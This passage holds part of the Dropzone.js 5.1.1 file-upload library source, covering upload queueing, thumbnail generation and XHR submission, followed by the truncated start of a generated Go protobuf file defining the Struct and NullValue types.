action=\"" + this.options.url + "\" enctype=\"multipart/form-data\" method=\"" + this.options.method + "\"></form>"); form.appendChild(fields); } else { this.element.setAttribute("enctype", "multipart/form-data"); this.element.setAttribute("method", this.options.method); } return form != null ? form : fields; }; Dropzone.prototype.getExistingFallback = function() { var fallback, getFallback, j, len, ref, tagName; getFallback = function(elements) { var el, j, len; for (j = 0, len = elements.length; j < len; j++) { el = elements[j]; if (/(^| )fallback($| )/.test(el.className)) { return el; } } }; ref = ["div", "form"]; for (j = 0, len = ref.length; j < len; j++) { tagName = ref[j]; if (fallback = getFallback(this.element.getElementsByTagName(tagName))) { return fallback; } } }; Dropzone.prototype.setupEventListeners = function() { var elementListeners, event, j, len, listener, ref, results; ref = this.listeners; results = []; for (j = 0, len = ref.length; j < len; j++) { elementListeners = ref[j]; results.push((function() { var ref1, results1; ref1 = elementListeners.events; results1 = []; for (event in ref1) { listener = ref1[event]; results1.push(elementListeners.element.addEventListener(event, listener, false)); } return results1; })()); } return results; }; Dropzone.prototype.removeEventListeners = function() { var elementListeners, event, j, len, listener, ref, results; ref = this.listeners; results = []; for (j = 0, len = ref.length; j < len; j++) { elementListeners = ref[j]; results.push((function() { var ref1, results1; ref1 = elementListeners.events; results1 = []; for (event in ref1) { listener = ref1[event]; results1.push(elementListeners.element.removeEventListener(event, listener, false)); } return results1; })()); } return results; }; Dropzone.prototype.disable = function() { var file, j, len, ref, results; this.clickableElements.forEach(function(element) { return element.classList.remove("dz-clickable"); }); this.removeEventListeners(); ref = this.files; results = []; for (j = 0, len = ref.length; j < len; j++) { file = ref[j]; results.push(this.cancelUpload(file)); } return results; }; Dropzone.prototype.enable = function() { this.clickableElements.forEach(function(element) { return element.classList.add("dz-clickable"); }); return this.setupEventListeners(); }; Dropzone.prototype.filesize = function(size) { var cutoff, i, j, len, selectedSize, selectedUnit, unit, units; selectedSize = 0; selectedUnit = "b"; if (size > 0) { units = ['tb', 'gb', 'mb', 'kb', 'b']; for (i = j = 0, len = units.length; j < len; i = ++j) { unit = units[i]; cutoff = Math.pow(this.options.filesizeBase, 4 - i) / 10; if (size >= cutoff) { selectedSize = size / Math.pow(this.options.filesizeBase, 4 - i); selectedUnit = unit; break; } } selectedSize = Math.round(10 * selectedSize) / 10; } return "<strong>" + selectedSize + "</strong> " + this.options.dictFileSizeUnits[selectedUnit]; }; Dropzone.prototype._updateMaxFilesReachedClass = function() { if ((this.options.maxFiles != null) && this.getAcceptedFiles().length >= this.options.maxFiles) { if (this.getAcceptedFiles().length === this.options.maxFiles) { this.emit('maxfilesreached', this.files); } return this.element.classList.add("dz-max-files-reached"); } else { return this.element.classList.remove("dz-max-files-reached"); } }; Dropzone.prototype.drop = function(e) { var files, items; if (!e.dataTransfer) { return; } this.emit("drop", e); files = e.dataTransfer.files; this.emit("addedfiles", files); if (files.length) { items = e.dataTransfer.items; if (items && items.length && (items[0].webkitGetAsEntry != null)) { this._addFilesFromItems(items); } else { this.handleFiles(files); } } }; Dropzone.prototype.paste = function(e) { var items, ref; if ((e != null ? (ref = e.clipboardData) != null ? ref.items : void 0 : void 0) == null) { return; } this.emit("paste", e); items = e.clipboardData.items; if (items.length) { return this._addFilesFromItems(items); } }; Dropzone.prototype.handleFiles = function(files) { var file, j, len, results; results = []; for (j = 0, len = files.length; j < len; j++) { file = files[j]; results.push(this.addFile(file)); } return results; }; Dropzone.prototype._addFilesFromItems = function(items) { var entry, item, j, len, results; results = []; for (j = 0, len = items.length; j < len; j++) { item = items[j]; if ((item.webkitGetAsEntry != null) && (entry = item.webkitGetAsEntry())) { if (entry.isFile) { results.push(this.addFile(item.getAsFile())); } else if (entry.isDirectory) { results.push(this._addFilesFromDirectory(entry, entry.name)); } else { results.push(void 0); } } else if (item.getAsFile != null) { if ((item.kind == null) || item.kind === "file") { results.push(this.addFile(item.getAsFile())); } else { results.push(void 0); } } else { results.push(void 0); } } return results; }; Dropzone.prototype._addFilesFromDirectory = function(directory, path) { var dirReader, errorHandler, readEntries; dirReader = directory.createReader(); errorHandler = function(error) { return typeof console !== "undefined" && console !== null ? typeof console.log === "function" ? console.log(error) : void 0 : void 0; }; readEntries = (function(_this) { return function() { return dirReader.readEntries(function(entries) { var entry, j, len; if (entries.length > 0) { for (j = 0, len = entries.length; j < len; j++) { entry = entries[j]; if (entry.isFile) { entry.file(function(file) { if (_this.options.ignoreHiddenFiles && file.name.substring(0, 1) === '.') { return; } file.fullPath = path + "/" + file.name; return _this.addFile(file); }); } else if (entry.isDirectory) { _this._addFilesFromDirectory(entry, path + "/" + entry.name); } } readEntries(); } return null; }, errorHandler); }; })(this); return readEntries(); }; Dropzone.prototype.accept = function(file, done) { if (file.size > this.options.maxFilesize * 1024 * 1024) { return done(this.options.dictFileTooBig.replace("{{filesize}}", Math.round(file.size / 1024 / 10.24) / 100).replace("{{maxFilesize}}", this.options.maxFilesize)); } else if (!Dropzone.isValidFile(file, this.options.acceptedFiles)) { return done(this.options.dictInvalidFileType); } else if ((this.options.maxFiles != null) && this.getAcceptedFiles().length >= this.options.maxFiles) { done(this.options.dictMaxFilesExceeded.replace("{{maxFiles}}", this.options.maxFiles)); return this.emit("maxfilesexceeded", file); } else { return this.options.accept.call(this, file, done); } }; Dropzone.prototype.addFile = function(file) { file.upload = { progress: 0, total: file.size, bytesSent: 0, filename: this._renameFile(file) }; this.files.push(file); file.status = Dropzone.ADDED; this.emit("addedfile", file); this._enqueueThumbnail(file); return this.accept(file, (function(_this) { return function(error) { if (error) { file.accepted = false; _this._errorProcessing([file], error); } else { file.accepted = true; if (_this.options.autoQueue) { _this.enqueueFile(file); } } return _this._updateMaxFilesReachedClass(); }; })(this)); }; Dropzone.prototype.enqueueFiles = function(files) { var file, j, len; for (j = 0, len = files.length; j < len; j++) { file = files[j]; this.enqueueFile(file); } return null; }; Dropzone.prototype.enqueueFile = function(file) { if (file.status === Dropzone.ADDED && file.accepted === true) { file.status = Dropzone.QUEUED; if (this.options.autoProcessQueue) { return setTimeout(((function(_this) { return function() { return _this.processQueue(); }; })(this)), 0); } } else { throw new Error("This file can't be queued because it has already been processed or was rejected."); } }; Dropzone.prototype._thumbnailQueue = []; Dropzone.prototype._processingThumbnail = false; Dropzone.prototype._enqueueThumbnail = function(file) { if (this.options.createImageThumbnails && file.type.match(/image.*/) && file.size <= this.options.maxThumbnailFilesize * 1024 * 1024) { this._thumbnailQueue.push(file); return setTimeout(((function(_this) { return function() { return _this._processThumbnailQueue(); }; })(this)), 0); } }; Dropzone.prototype._processThumbnailQueue = function() { var file; if (this._processingThumbnail || this._thumbnailQueue.length === 0) { return; } this._processingThumbnail = true; file = this._thumbnailQueue.shift(); return this.createThumbnail(file, this.options.thumbnailWidth, this.options.thumbnailHeight, this.options.thumbnailMethod, true, (function(_this) { return function(dataUrl) { _this.emit("thumbnail", file, dataUrl); _this._processingThumbnail = false; return _this._processThumbnailQueue(); }; })(this)); }; Dropzone.prototype.removeFile = function(file) { if (file.status === Dropzone.UPLOADING) { this.cancelUpload(file); } this.files = without(this.files, file); this.emit("removedfile", file); if (this.files.length === 0) { return this.emit("reset"); } }; Dropzone.prototype.removeAllFiles = function(cancelIfNecessary) { var file, j, len, ref; if (cancelIfNecessary == null) { cancelIfNecessary = false; } ref = this.files.slice(); for (j = 0, len = ref.length; j < len; j++) { file = ref[j]; if (file.status !== Dropzone.UPLOADING || cancelIfNecessary) { this.removeFile(file); } } return null; }; Dropzone.prototype.resizeImage = function(file, width, height, resizeMethod, callback) { return this.createThumbnail(file, width, height, resizeMethod, false, (function(_this) { return function(dataUrl, canvas) { var resizeMimeType, resizedDataURL; if (canvas === null) { return callback(file); } else { resizeMimeType = _this.options.resizeMimeType; if (resizeMimeType == null) { resizeMimeType = file.type; } resizedDataURL = canvas.toDataURL(resizeMimeType, _this.options.resizeQuality); if (resizeMimeType === 'image/jpeg' || resizeMimeType === 'image/jpg') { resizedDataURL = ExifRestore.restore(file.dataURL, resizedDataURL); } return callback(Dropzone.dataURItoBlob(resizedDataURL)); } }; })(this)); }; Dropzone.prototype.createThumbnail = function(file, width, height, resizeMethod, fixOrientation, callback) { var fileReader; fileReader = new FileReader; fileReader.onload = (function(_this) { return function() { file.dataURL = fileReader.result; if (file.type === "image/svg+xml") { if (callback != null) { callback(fileReader.result); } return; } return _this.createThumbnailFromUrl(file, width, height, resizeMethod, fixOrientation, callback); }; })(this); return fileReader.readAsDataURL(file); }; Dropzone.prototype.createThumbnailFromUrl = function(file, width, height, resizeMethod, fixOrientation, callback, crossOrigin) { var img; img = document.createElement("img"); if (crossOrigin) { img.crossOrigin = crossOrigin; } img.onload = (function(_this) { return function() { var loadExif; loadExif = function(callback) { return callback(1); }; if ((typeof EXIF !== "undefined" && EXIF !== null) && fixOrientation) { loadExif = function(callback) { return EXIF.getData(img, function() { return callback(EXIF.getTag(this, 'Orientation')); }); }; } return loadExif(function(orientation) { var canvas, ctx, ref, ref1, ref2, ref3, resizeInfo, thumbnail; file.width = img.width; file.height = img.height; resizeInfo = _this.options.resize.call(_this, file, width, height, resizeMethod); canvas = document.createElement("canvas"); ctx = canvas.getContext("2d"); canvas.width = resizeInfo.trgWidth; canvas.height = resizeInfo.trgHeight; if (orientation > 4) { canvas.width = resizeInfo.trgHeight; canvas.height = resizeInfo.trgWidth; } switch (orientation) { case 2: ctx.translate(canvas.width, 0); ctx.scale(-1, 1); break; case 3: ctx.translate(canvas.width, canvas.height); ctx.rotate(Math.PI); break; case 4: ctx.translate(0, canvas.height); ctx.scale(1, -1); break; case 5: ctx.rotate(0.5 * Math.PI); ctx.scale(1, -1); break; case 6: ctx.rotate(0.5 * Math.PI); ctx.translate(0, -canvas.height); break; case 7: ctx.rotate(0.5 * Math.PI); ctx.translate(canvas.width, -canvas.height); ctx.scale(-1, 1); break; case 8: ctx.rotate(-0.5 * Math.PI); ctx.translate(-canvas.width, 0); } drawImageIOSFix(ctx, img, (ref = resizeInfo.srcX) != null ? ref : 0, (ref1 = resizeInfo.srcY) != null ? ref1 : 0, resizeInfo.srcWidth, resizeInfo.srcHeight, (ref2 = resizeInfo.trgX) != null ? ref2 : 0, (ref3 = resizeInfo.trgY) != null ? ref3 : 0, resizeInfo.trgWidth, resizeInfo.trgHeight); thumbnail = canvas.toDataURL("image/png"); if (callback != null) { return callback(thumbnail, canvas); } }); }; })(this); if (callback != null) { img.onerror = callback; } return img.src = file.dataURL; }; Dropzone.prototype.processQueue = function() { var i, parallelUploads, processingLength, queuedFiles; parallelUploads = this.options.parallelUploads; processingLength = this.getUploadingFiles().length; i = processingLength; if (processingLength >= parallelUploads) { return; } queuedFiles = this.getQueuedFiles(); if (!(queuedFiles.length > 0)) { return; } if (this.options.uploadMultiple) { return this.processFiles(queuedFiles.slice(0, parallelUploads - processingLength)); } else { while (i < parallelUploads) { if (!queuedFiles.length) { return; } this.processFile(queuedFiles.shift()); i++; } } }; Dropzone.prototype.processFile = function(file) { return this.processFiles([file]); }; Dropzone.prototype.processFiles = function(files) { var file, j, len; for (j = 0, len = files.length; j < len; j++) { file = files[j]; file.processing = true; file.status = Dropzone.UPLOADING; this.emit("processing", file); } if (this.options.uploadMultiple) { this.emit("processingmultiple", files); } return this.uploadFiles(files); }; Dropzone.prototype._getFilesWithXhr = function(xhr) { var file, files; return files = (function() { var j, len, ref, results; ref = this.files; results = []; for (j = 0, len = ref.length; j < len; j++) { file = ref[j]; if (file.xhr === xhr) { results.push(file); } } return results; }).call(this); }; Dropzone.prototype.cancelUpload = function(file) { var groupedFile, groupedFiles, j, k, len, len1, ref; if (file.status === Dropzone.UPLOADING) { groupedFiles = this._getFilesWithXhr(file.xhr); for (j = 0, len = groupedFiles.length; j < len; j++) { groupedFile = groupedFiles[j]; groupedFile.status = Dropzone.CANCELED; } file.xhr.abort(); for (k = 0, len1 = groupedFiles.length; k < len1; k++) { groupedFile = groupedFiles[k]; this.emit("canceled", groupedFile); } if (this.options.uploadMultiple) { this.emit("canceledmultiple", groupedFiles); } } else if ((ref = file.status) === Dropzone.ADDED || ref === Dropzone.QUEUED) { file.status = Dropzone.CANCELED; this.emit("canceled", file); if (this.options.uploadMultiple) { this.emit("canceledmultiple", [file]); } } if (this.options.autoProcessQueue) { return this.processQueue(); } }; resolveOption = function() { var args, option; option = arguments[0], args = 2 <= arguments.length ? slice.call(arguments, 1) : []; if (typeof option === 'function') { return option.apply(this, args); } return option; }; Dropzone.prototype.uploadFile = function(file) { return this.uploadFiles([file]); }; Dropzone.prototype.uploadFiles = function(files) { var doneCounter, doneFunction, file, formData, handleError, headerName, headerValue, headers, i, input, inputName, inputType, j, k, key, l, len, len1, len2, len3, m, method, o, option, progressObj, ref, ref1, ref2, ref3, ref4, ref5, response, results, updateProgress, url, value, xhr; xhr = new XMLHttpRequest(); for (j = 0, len = files.length; j < len; j++) { file = files[j]; file.xhr = xhr; } method = resolveOption(this.options.method, files); url = resolveOption(this.options.url, files); xhr.open(method, url, true); xhr.timeout = resolveOption(this.options.timeout, files); xhr.withCredentials = !!this.options.withCredentials; response = null; handleError = (function(_this) { return function() { var k, len1, results; results = []; for (k = 0, len1 = files.length; k < len1; k++) { file = files[k]; results.push(_this._errorProcessing(files, response || _this.options.dictResponseError.replace("{{statusCode}}", xhr.status), xhr)); } return results; }; })(this); updateProgress = (function(_this) { return function(e) { var allFilesFinished, k, l, len1, len2, len3, m, progress, results; if (e != null) { progress = 100 * e.loaded / e.total; for (k = 0, len1 = files.length; k < len1; k++) { file = files[k]; file.upload.progress = progress; file.upload.total = e.total; file.upload.bytesSent = e.loaded; } } else { allFilesFinished = true; progress = 100; for (l = 0, len2 = files.length; l < len2; l++) { file = files[l]; if (!(file.upload.progress === 100 && file.upload.bytesSent === file.upload.total)) { allFilesFinished = false; } file.upload.progress = progress; file.upload.bytesSent = file.upload.total; } if (allFilesFinished) { return; } } results = []; for (m = 0, len3 = files.length; m < len3; m++) { file = files[m]; results.push(_this.emit("uploadprogress", file, progress, file.upload.bytesSent)); } return results; }; })(this); xhr.onload = (function(_this) { return function(e) { var error1, ref; if (files[0].status === Dropzone.CANCELED) { return; } if (xhr.readyState !== 4) { return; } if (xhr.responseType !== 'arraybuffer' && xhr.responseType !== 'blob') { response = xhr.responseText; if (xhr.getResponseHeader("content-type") && ~xhr.getResponseHeader("content-type").indexOf("application/json")) { try { response = JSON.parse(response); } catch (error1) { e = error1; response = "Invalid JSON response from server."; } } } updateProgress(); if (!((200 <= (ref = xhr.status) && ref < 300))) { return handleError(); } else { return _this._finished(files, response, e); } }; })(this); xhr.onerror = (function(_this) { return function() { if (files[0].status === Dropzone.CANCELED) { return; } return handleError(); }; })(this); progressObj = (ref = xhr.upload) != null ? ref : xhr; progressObj.onprogress = updateProgress; headers = { "Accept": "application/json", "Cache-Control": "no-cache", "X-Requested-With": "XMLHttpRequest" }; if (this.options.headers) { extend(headers, this.options.headers); } for (headerName in headers) { headerValue = headers[headerName]; if (headerValue) { xhr.setRequestHeader(headerName, headerValue); } } formData = new FormData(); if (this.options.params) { ref1 = this.options.params; for (key in ref1) { value = ref1[key]; formData.append(key, value); } } for (k = 0, len1 = files.length; k < len1; k++) { file = files[k]; this.emit("sending", file, xhr, formData); } if (this.options.uploadMultiple) { this.emit("sendingmultiple", files, xhr, formData); } if (this.element.tagName === "FORM") { ref2 = this.element.querySelectorAll("input, textarea, select, button"); for (l = 0, len2 = ref2.length; l < len2; l++) { input = ref2[l]; inputName = input.getAttribute("name"); inputType = input.getAttribute("type"); if (input.tagName === "SELECT" && input.hasAttribute("multiple")) { ref3 = input.options; for (m = 0, len3 = ref3.length; m < len3; m++) { option = ref3[m]; if (option.selected) { formData.append(inputName, option.value); } } } else if (!inputType || ((ref4 = inputType.toLowerCase()) !== "checkbox" && ref4 !== "radio") || input.checked) { formData.append(inputName, input.value); } } } doneCounter = 0; results = []; for (i = o = 0, ref5 = files.length - 1; 0 <= ref5 ? o <= ref5 : o >= ref5; i = 0 <= ref5 ? ++o : --o) { doneFunction = (function(_this) { return function(file, paramName, fileName) { return function(transformedFile) { formData.append(paramName, transformedFile, fileName); if (++doneCounter === files.length) { return _this.submitRequest(xhr, formData, files); } }; }; })(this); results.push(this.options.transformFile.call(this, files[i], doneFunction(files[i], this._getParamName(i), files[i].upload.filename))); } return results; }; Dropzone.prototype.submitRequest = function(xhr, formData, files) { return xhr.send(formData); }; Dropzone.prototype._finished = function(files, responseText, e) { var file, j, len; for (j = 0, len = files.length; j < len; j++) { file = files[j]; file.status = Dropzone.SUCCESS; this.emit("success", file, responseText, e); this.emit("complete", file); } if (this.options.uploadMultiple) { this.emit("successmultiple", files, responseText, e); this.emit("completemultiple", files); } if (this.options.autoProcessQueue) { return this.processQueue(); } }; Dropzone.prototype._errorProcessing = function(files, message, xhr) { var file, j, len; for (j = 0, len = files.length; j < len; j++) { file = files[j]; file.status = Dropzone.ERROR; this.emit("error", file, message, xhr); this.emit("complete", file); } if (this.options.uploadMultiple) { this.emit("errormultiple", files, message, xhr); this.emit("completemultiple", files); } if (this.options.autoProcessQueue) { return this.processQueue(); } }; return Dropzone; })(Emitter); Dropzone.version = "5.1.1"; Dropzone.options = {}; Dropzone.optionsForElement = function(element) { if (element.getAttribute("id")) { return Dropzone.options[camelize(element.getAttribute("id"))]; } else { return void 0; } }; Dropzone.instances = []; Dropzone.forElement = function(element) { if (typeof element === "string") { element = document.querySelector(element); } if ((element != null ? element.dropzone : void 0) == null) { throw new Error("No Dropzone found for given element. This is probably because you're trying to access it before Dropzone had the time to initialize. Use the `init` option to setup any additional observers on your Dropzone."); } return element.dropzone; }; Dropzone.autoDiscover = true; Dropzone.discover = function() { var checkElements, dropzone, dropzones, j, len, results; if (document.querySelectorAll) { dropzones = document.querySelectorAll(".dropzone"); } else { dropzones = []; checkElements = function(elements) { var el, j, len, results; results = []; for (j = 0, len = elements.length; j < len; j++) { el = elements[j]; if (/(^| )dropzone($| )/.test(el.className)) { results.push(dropzones.push(el)); } else { results.push(void 0); } } return results; }; checkElements(document.getElementsByTagName("div")); checkElements(document.getElementsByTagName("form")); } results = []; for (j = 0, len = dropzones.length; j < len; j++) { dropzone = dropzones[j]; if (Dropzone.optionsForElement(dropzone) !== false) { results.push(new Dropzone(dropzone)); } else { results.push(void 0); } } return results; }; Dropzone.blacklistedBrowsers = [/opera.*Macintosh.*version\/12/i]; Dropzone.isBrowserSupported = function() { var capableBrowser, j, len, ref, regex; capableBrowser = true; if (window.File && window.FileReader && window.FileList && window.Blob && window.FormData && document.querySelector) { if (!("classList" in document.createElement("a"))) { capableBrowser = false; } else { ref = Dropzone.blacklistedBrowsers; for (j = 0, len = ref.length; j < len; j++) { regex = ref[j]; if (regex.test(navigator.userAgent)) { capableBrowser = false; continue; } } } } else { capableBrowser = false; } return capableBrowser; }; Dropzone.dataURItoBlob = function(dataURI) { var ab, byteString, i, ia, j, mimeString, ref; byteString = atob(dataURI.split(',')[1]); mimeString = dataURI.split(',')[0].split(':')[1].split(';')[0]; ab = new ArrayBuffer(byteString.length); ia = new Uint8Array(ab); for (i = j = 0, ref = byteString.length; 0 <= ref ? j <= ref : j >= ref; i = 0 <= ref ? ++j : --j) { ia[i] = byteString.charCodeAt(i); } return new Blob([ab], { type: mimeString }); }; without = function(list, rejectedItem) { var item, j, len, results; results = []; for (j = 0, len = list.length; j < len; j++) { item = list[j]; if (item !== rejectedItem) { results.push(item); } } return results; }; camelize = function(str) { return str.replace(/[\-_](\w)/g, function(match) { return match.charAt(1).toUpperCase(); }); }; Dropzone.createElement = function(string) { var div; div = document.createElement("div"); div.innerHTML = string; return div.childNodes[0]; }; Dropzone.elementInside = function(element, container) { if (element === container) { return true; } while (element = element.parentNode) { if (element === container) { return true; } } return false; }; Dropzone.getElement = function(el, name) { var element; if (typeof el === "string") { element = document.querySelector(el); } else if (el.nodeType != null) { element = el; } if (element == null) { throw new Error("Invalid `" + name + "` option provided. Please provide a CSS selector or a plain HTML element."); } return element; }; Dropzone.getElements = function(els, name) { var e, el, elements, error1, j, k, len, len1, ref; if (els instanceof Array) { elements = []; try { for (j = 0, len = els.length; j < len; j++) { el = els[j]; elements.push(this.getElement(el, name)); } } catch (error1) { e = error1; elements = null; } } else if (typeof els === "string") { elements = []; ref = document.querySelectorAll(els); for (k = 0, len1 = ref.length; k < len1; k++) { el = ref[k]; elements.push(el); } } else if (els.nodeType != null) { elements = [els]; } if (!((elements != null) && elements.length)) { throw new Error("Invalid `" + name + "` option provided. Please provide a CSS selector, a plain HTML element or a list of those."); } return elements; }; Dropzone.confirm = function(question, accepted, rejected) { if (window.confirm(question)) { return accepted(); } else if (rejected != null) { return rejected(); } }; Dropzone.isValidFile = function(file, acceptedFiles) { var baseMimeType, j, len, mimeType, validType; if (!acceptedFiles) { return true; } acceptedFiles = acceptedFiles.split(","); mimeType = file.type; baseMimeType = mimeType.replace(/\/.*$/, ""); for (j = 0, len = acceptedFiles.length; j < len; j++) { validType = acceptedFiles[j]; validType = validType.trim(); if (validType.charAt(0) === ".") { if (file.name.toLowerCase().indexOf(validType.toLowerCase(), file.name.length - validType.length) !== -1) { return true; } } else if (/\/\*$/.test(validType)) { if (baseMimeType === validType.replace(/\/.*$/, "")) { return true; } } else { if (mimeType === validType) { return true; } } } return false; }; if (typeof jQuery !== "undefined" && jQuery !== null) { jQuery.fn.dropzone = function(options) { return this.each(function() { return new Dropzone(this, options); }); }; } if (typeof module !== "undefined" && module !== null) { module.exports = Dropzone; } else { window.Dropzone = Dropzone; } Dropzone.ADDED = "added"; Dropzone.QUEUED = "queued"; Dropzone.ACCEPTED = Dropzone.QUEUED; Dropzone.UPLOADING = "uploading"; Dropzone.PROCESSING = Dropzone.UPLOADING; Dropzone.CANCELED = "canceled"; Dropzone.ERROR = "error"; Dropzone.SUCCESS = "success"; /* Bugfix for iOS 6 and 7 Source: http://stackoverflow.com/questions/11929099/html5-canvas-drawimage-ratio-bug-ios based on the work of https://github.com/stomita/ios-imagefile-megapixel */ detectVerticalSquash = function(img) { var alpha, canvas, ctx, data, ey, ih, iw, py, ratio, sy; iw = img.naturalWidth; ih = img.naturalHeight; canvas = document.createElement("canvas"); canvas.width = 1; canvas.height = ih; ctx = canvas.getContext("2d"); ctx.drawImage(img, 0, 0); data = ctx.getImageData(1, 0, 1, ih).data; sy = 0; ey = ih; py = ih; while (py > sy) { alpha = data[(py - 1) * 4 + 3]; if (alpha === 0) { ey = py; } else { sy = py; } py = (ey + sy) >> 1; } ratio = py / ih; if (ratio === 0) { return 1; } else { return ratio; } }; drawImageIOSFix = function(ctx, img, sx, sy, sw, sh, dx, dy, dw, dh) { var vertSquashRatio; vertSquashRatio = detectVerticalSquash(img); return ctx.drawImage(img, sx, sy, sw, sh, dx, dy, dw, dh / vertSquashRatio); }; ExifRestore = (function() { function ExifRestore() {} ExifRestore.KEY_STR = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; ExifRestore.encode64 = function(input) { var chr1, chr2, chr3, enc1, enc2, enc3, enc4, i, output; output = ''; chr1 = void 0; chr2 = void 0; chr3 = ''; enc1 = void 0; enc2 = void 0; enc3 = void 0; enc4 = ''; i = 0; while (true) { chr1 = input[i++]; chr2 = input[i++]; chr3 = input[i++]; enc1 = chr1 >> 2; enc2 = (chr1 & 3) << 4 | chr2 >> 4; enc3 = (chr2 & 15) << 2 | chr3 >> 6; enc4 = chr3 & 63; if (isNaN(chr2)) { enc3 = enc4 = 64; } else if (isNaN(chr3)) { enc4 = 64; } output = output + this.KEY_STR.charAt(enc1) + this.KEY_STR.charAt(enc2) + this.KEY_STR.charAt(enc3) + this.KEY_STR.charAt(enc4); chr1 = chr2 = chr3 = ''; enc1 = enc2 = enc3 = enc4 = ''; if (!(i < input.length)) { break; } } return output; }; ExifRestore.restore = function(origFileBase64, resizedFileBase64) { var image, rawImage, segments; if (!origFileBase64.match('data:image/jpeg;base64,')) { return resizedFileBase64; } rawImage = this.decode64(origFileBase64.replace('data:image/jpeg;base64,', '')); segments = this.slice2Segments(rawImage); image = this.exifManipulation(resizedFileBase64, segments); return 'data:image/jpeg;base64,' + this.encode64(image); }; ExifRestore.exifManipulation = function(resizedFileBase64, segments) { var aBuffer, exifArray, newImageArray; exifArray = this.getExifArray(segments); newImageArray = this.insertExif(resizedFileBase64, exifArray); aBuffer = new Uint8Array(newImageArray); return aBuffer; }; ExifRestore.getExifArray = function(segments) { var seg, x; seg = void 0; x = 0; while (x < segments.length) { seg = segments[x]; if (seg[0] === 255 & seg[1] === 225) { return seg; } x++; } return []; }; ExifRestore.insertExif = function(resizedFileBase64, exifArray) { var array, ato, buf, imageData, mae, separatePoint; imageData = resizedFileBase64.replace('data:image/jpeg;base64,', ''); buf = this.decode64(imageData); separatePoint = buf.indexOf(255, 3); mae = buf.slice(0, separatePoint); ato = buf.slice(separatePoint); array = mae; array = array.concat(exifArray); array = array.concat(ato); return array; }; ExifRestore.slice2Segments = function(rawImageArray) { var endPoint, head, length, seg, segments; head = 0; segments = []; while (true) { if (rawImageArray[head] === 255 & rawImageArray[head + 1] === 218) { break; } if (rawImageArray[head] === 255 & rawImageArray[head + 1] === 216) { head += 2; } else { length = rawImageArray[head + 2] * 256 + rawImageArray[head + 3]; endPoint = head + length + 2; seg = rawImageArray.slice(head, endPoint); segments.push(seg); head = endPoint; } if (head > rawImageArray.length) { break; } } return segments; }; ExifRestore.decode64 = function(input) { var base64test, buf, chr1, chr2, chr3, enc1, enc2, enc3, enc4, i, output; output = ''; chr1 = void 0; chr2 = void 0; chr3 = ''; enc1 = void 0; enc2 = void 0; enc3 = void 0; enc4 = ''; i = 0; buf = []; base64test = /[^A-Za-z0-9\+\/\=]/g; if (base64test.exec(input)) { console.warning('There were invalid base64 characters in the input text.\n' + 'Valid base64 characters are A-Z, a-z, 0-9, \'+\', \'/\',and \'=\'\n' + 'Expect errors in decoding.'); } input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ''); while (true) { enc1 = this.KEY_STR.indexOf(input.charAt(i++)); enc2 = this.KEY_STR.indexOf(input.charAt(i++)); enc3 = this.KEY_STR.indexOf(input.charAt(i++)); enc4 = this.KEY_STR.indexOf(input.charAt(i++)); chr1 = enc1 << 2 | enc2 >> 4; chr2 = (enc2 & 15) << 4 | enc3 >> 2; chr3 = (enc3 & 3) << 6 | enc4; buf.push(chr1); if (enc3 !== 64) { buf.push(chr2); } if (enc4 !== 64) { buf.push(chr3); } chr1 = chr2 = chr3 = ''; enc1 = enc2 = enc3 = enc4 = ''; if (!(i < input.length)) { break; } } return buf; }; return ExifRestore; })(); /* * contentloaded.js * * Author: Diego Perini (diego.perini at gmail.com) * Summary: cross-browser wrapper for DOMContentLoaded * Updated: 20101020 * License: MIT * Version: 1.2 * * URL: * http://javascript.nwbox.com/ContentLoaded/ * http://javascript.nwbox.com/ContentLoaded/MIT-LICENSE */ contentLoaded = function(win, fn) { var add, doc, done, init, poll, pre, rem, root, top; done = false; top = true; doc = win.document; root = doc.documentElement; add = (doc.addEventListener ? "addEventListener" : "attachEvent"); rem = (doc.addEventListener ? "removeEventListener" : "detachEvent"); pre = (doc.addEventListener ? "" : "on"); init = function(e) { if (e.type === "readystatechange" && doc.readyState !== "complete") { return; } (e.type === "load" ? win : doc)[rem](pre + e.type, init, false); if (!done && (done = true)) { return fn.call(win, e.type || e); } }; poll = function() { var e, error1; try { root.doScroll("left"); } catch (error1) { e = error1; setTimeout(poll, 50); return; } return init("poll"); }; if (doc.readyState !== "complete") { if (doc.createEventObject && root.doScroll) { try { top = !win.frameElement; } catch (undefined) {} if (top) { poll(); } } doc[add](pre + "DOMContentLoaded", init, false); doc[add](pre + "readystatechange", init, false); return win[add](pre + "load", init, false); } }; Dropzone._autoDiscoverFunction = function() { if (Dropzone.autoDiscover) { return Dropzone.discover(); } }; contentLoaded(window, Dropzone._autoDiscoverFunction); }).call(this);
{ "pile_set_name": "Github" }
// Code generated by protoc-gen-go. DO NOT EDIT. // source: github.com/golang/protobuf/ptypes/struct/struct.proto /* Package structpb is a generated protocol buffer package. It is generated from these files: github.com/golang/protobuf/ptypes/struct/struct.proto It has these top-level messages: Struct Value ListValue */ package structpb import proto "github.com/golang/protobuf/proto" import fmt "fmt" import math "math" // Reference imports to suppress errors if they are not otherwise used. var _ = proto.Marshal var _ = fmt.Errorf var _ = math.Inf // This is a compile-time assertion to ensure that this generated file // is compatible with the proto package it is being compiled against. // A compilation error at this line likely means your copy of the // proto package needs to be updated. const _ = proto.ProtoPackageIsVersion2 // please upgrade the proto package // `NullValue` is a singleton enumeration to represent the null value for the // `Value` type union. // // The JSON representation for `NullValue` is JSON `null`. type NullValue int32 const ( // Null value. NullValue_NULL_VALUE NullValue = 0 ) var NullValue_name = map[int32]string{ 0: "NULL_VALUE", } var NullValue_value = map[string]int32{ "NULL_VALUE": 0, } func (x NullValue) String() string { return proto.EnumName(NullValue_name, int32(x)) } func (NullValue) EnumDescriptor() ([]byte, []int) { return fileDescriptor0, []int{0} } func (NullValue) XXX_WellKnownType() string { return "NullValue" } // `Struct` represents a structured data value, consisting of fields // which map to dynamically typed values. In some languages, `Struct` // might be supported by a native representation. For example, in // scripting languages like JS a struct is represented as an // object. The details of that representation are described together // with the proto support for the language. // // The JSON representation for `Struct` is JSON object. type Struct struct { // Unordered map of dynamically typed values. Fields map[string]*Value `protobuf:"bytes,1,rep,name=fields" json:"fields,omitempty" protobuf_key:"bytes,1,opt,name=key" protobuf_val:"bytes,2,opt,name=value"` } func (m *Struct) Reset() { *m = Struct{} } func (m *Struct) String() string { return proto.CompactTextString(m) } func (*Struct) ProtoMessage() {} func (*Struct) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{0} } func 